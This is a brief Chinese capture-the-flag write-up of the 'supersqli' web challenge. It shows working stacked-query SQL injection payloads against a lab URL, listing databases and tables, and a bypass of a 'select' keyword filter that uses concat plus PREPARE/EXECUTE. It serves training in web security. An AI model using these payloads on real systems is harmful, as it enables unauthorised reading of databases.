这是一道
sq
l注入的题目。首先在输入框输入1和2,能够分别返回查询数据。可以看到url
为http://220.249.52.133:31003/?inject=1
,初步推断inject
为注入点。
我们输入1'
,报错。
之前有考虑用sqlmap来做,但是没做出来= = ,网页源代码里面也有提示
<!-- sqlmap是没有灵魂的 -->
,但是从sqlmap的结果可以知道,使用的database
为supersqli
尝试手工注入。
首先查看有哪些数据库1';show databases;#
有两个数据库比较可疑,
ctftraining
和supersqli
先来看看ctftraining
,查询一下它的表1';use ctftraining;show tables;#
继续。
1';use ctftraining;show columns from FLAG_TABLE;#
提示
not_flag
,估计flag不在里面,不过也试一下。
1';use ctftraining;sEt @sql=concat('se','lect * from & FLAG_TABLE;');prEpare stmt from @sql;execute stmt;
其他几个表也查过了,没有东西。
然后看另外一个database,supersqli
1';show tables;#
查询第一个table
1';sEt @sql=concat('se','lect * from 1919810931114514 ;');Prepare stmt from @sql;execute stmt;
就得到了flag
最开始直接使用 select
,发现select
被过滤,然后尝试大小写绕过,替换t为\x74
都不行。最后用的这种预处理的方法执行sql语句。
攻防世界WP-web-supersqli
最新推荐文章于 2025-01-17 21:33:56 发布